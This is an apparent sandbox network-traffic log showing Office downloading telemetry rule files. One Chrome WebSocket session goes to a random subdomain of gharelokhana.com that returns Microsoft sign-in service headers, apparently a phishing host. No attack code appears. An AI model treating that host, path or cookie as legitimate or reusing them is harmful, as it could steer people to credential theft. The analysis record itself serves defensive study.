2024-12-04 15:15:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49819	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:46 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 901a75be-701e-0053-76cb-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151547Z-1746fd949bdxk6n6hC1EWRdr8c000000018g000000008m0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49823	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:47 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5cfda45f-901e-00ac-3dce-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151547Z-1746fd949bd6ztf6hC1EWRvq2s00000000xg00000000n4pu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49826	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:48 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:49 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: f6fadb53-501e-0064-5acb-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151549Z-1746fd949bdb8xvchC1EWRmbd400000001c000000000735g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:49 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49827	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:49 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:49 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151549Z-1746fd949bd77mkmhC1EWR5efc00000001gg00000000q8w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:49 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49828	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:49 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 1a0f4f93-001e-0049-61cb-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151550Z-1746fd949bdwt8wrhC1EWRu6rg00000001eg00000000kehf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49825	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:50 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 6fdb675e-b01e-0070-05ce-451cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151550Z-1746fd949bdnq7x2hC1EWRpxr0000000019g000000003u1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:50 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49824	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:50 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2accf417-001e-0014-64cb-455151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151551Z-1746fd949bd6zq92hC1EWRry48000000018g00000000m5cm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49829	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151551Z-1746fd949bd6zq92hC1EWRry4800000001e0000000002qq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:51 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49830	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:51 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 7057cc02-501e-008f-16cc-459054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151551Z-1746fd949bdzd2qvhC1EWRcygw000000017g0000000008t4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49832	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:51 UTC	680	OUT	GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg==" Sec-WebSocket-Key: 8uE8IvCFV0M11lz3/ZF7NQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-04 15:15:52 UTC	740	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 04 Dec 2024 15:15:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: fc0ea076-88ef-43ed-9b69-1235dfad1001 x-ms-ests-server: 2.1.19492.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:15:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49831	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:52 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 859db5fc-901e-005b-23cb-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151552Z-1746fd949bd77mkmhC1EWR5efc00000001gg00000000q93m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49833	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:52 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:52 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 68175a90-d01e-0065-3ed1-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151552Z-1746fd949bdhk6hphC1EWRaw3c000000013g00000000f36w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
